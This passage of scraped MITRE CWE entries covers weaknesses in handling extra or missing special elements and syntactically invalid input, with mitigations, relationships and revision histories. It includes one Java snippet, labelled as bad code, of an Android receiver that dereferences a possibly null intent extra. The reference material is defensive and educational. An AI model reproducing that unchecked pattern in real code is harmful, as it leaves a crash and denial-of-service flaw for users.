Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class159Failure to Sanitize Special Element
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfWeakness ClassWeakness Class703Improper Check or Handling of Exceptional Conditions
Research Concepts1000
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory992SFP Secondary Cluster: Faulty Input Transformation
Software Fault Pattern (SFP) Clusters (primary)888
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERExtra Special Element
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-05-27CWE Content TeamMITREInternal
updated Description, Name
2009-07-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2017-05-03CWE Content TeamMITREInternal
updated Potential_Mitigations
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Extra Special Element
2009-05-27Failure to Handle Additional Special Element

CWE-166: Improper Handling of Missing Special Element

Weakness ID: 166
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software receives input from an upstream component, but it does not handle or incorrectly handles when an expected special element is missing.
+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Availability

Technical Impact: DoS: crash / exit / restart

+ Observed Examples
ReferenceDescription
Crash via message type without separator character
Missing special character (separator) causes crash
HTTP GET without \r\n\r\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it
+ Potential Mitigations

Developers should anticipate that special elements will be removed in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class159Failure to Sanitize Special Element
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfWeakness ClassWeakness Class703Improper Check or Handling of Exceptional Conditions
Research Concepts1000
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory992SFP Secondary Cluster: Faulty Input Transformation
Software Fault Pattern (SFP) Clusters (primary)888
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMissing Special Element
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-05-27CWE Content TeamMITREInternal
updated Description, Name
2009-07-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-10-29CWE Content TeamMITREInternal
updated Other_Notes
2011-03-29CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2017-05-03CWE Content TeamMITREInternal
updated Potential_Mitigations
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Missing Special Element
2009-05-27Failure to Handle Missing Special Element

CWE-228: Improper Handling of Syntactically Invalid Structure

Weakness ID: 228
Abstraction: Class
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.
+ Time of Introduction
  • Implementation
  • Architecture and Design
+ Common Consequences
ScopeEffect
Integrity
Availability

Technical Impact: Unexpected state; DoS: crash / exit / restart; DoS: resource consumption (CPU)

If an input is syntactically invalid, then processing the input could place the system in an unexpected state that could lead to a crash, consume available system resources or other unintended behaviors.

+ Demonstrative Examples

Example 1

This application has registered to handle a URL when sent an intent:

(Bad Code)
Example Language: Java 
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length();
...
}
}
}

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory137Representation Errors
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class703Improper Check or Handling of Exceptional Conditions
Research Concepts1000
ChildOfWeakness ClassWeakness Class707Improper Enforcement of Message or Data Structure
Research Concepts (primary)1000
ChildOfCategoryCategory728OWASP Top Ten 2004 Category A7 - Improper Error Handling
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory993SFP Secondary Cluster: Incorrect Input Handling
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness BaseWeakness Base229Improper Handling of Values
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base233Improper Handling of Parameters
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base237Improper Handling of Structural Elements
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base241Improper Handling of Unexpected Data Type
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Relevant Properties
  • Validity
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERStructure and Validity Problems
OWASP Top Ten 2004A7CWE More SpecificImproper Error Handling
+ Maintenance Notes

This entry needs more investigation. Public vulnerability research generally focuses on the manipulations that generate invalid structure, instead of the weaknesses that are exploited by those manipulations. For example, a common attack involves making a request that omits a required field, which can trigger a crash in some cases. The crash could be due to a named chain such as CWE-690 (Unchecked Return Value to NULL Pointer Dereference), but public reports rarely cover this aspect of a vulnerability.

The validity of input could be roughly classified along "syntactic", "semantic", and "lexical" dimensions. If the specification requires that an input value should be delimited with the "[" and "]" square brackets, then any input that does not follow this specification would be syntactically invalid. If the input between the brackets is expected to be a number, but the letters "aaa" are provided, then the input is syntactically invalid. If the input is a number and enclosed in brackets, but the number is outside of the allowable range, then it is semantically invalid. The inter-relationships between these properties - and their associated weaknesses- need further exploration.

+ Content History
<
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Description, Maintenance_Notes, Name, Relationships, Relevant_Properties, Taxonomy_Mappings
2009-03-10CWE Content TeamMITREInternal
updated Description, Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, Relationships
2014-02-18CWE Content TeamMITREInternal
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal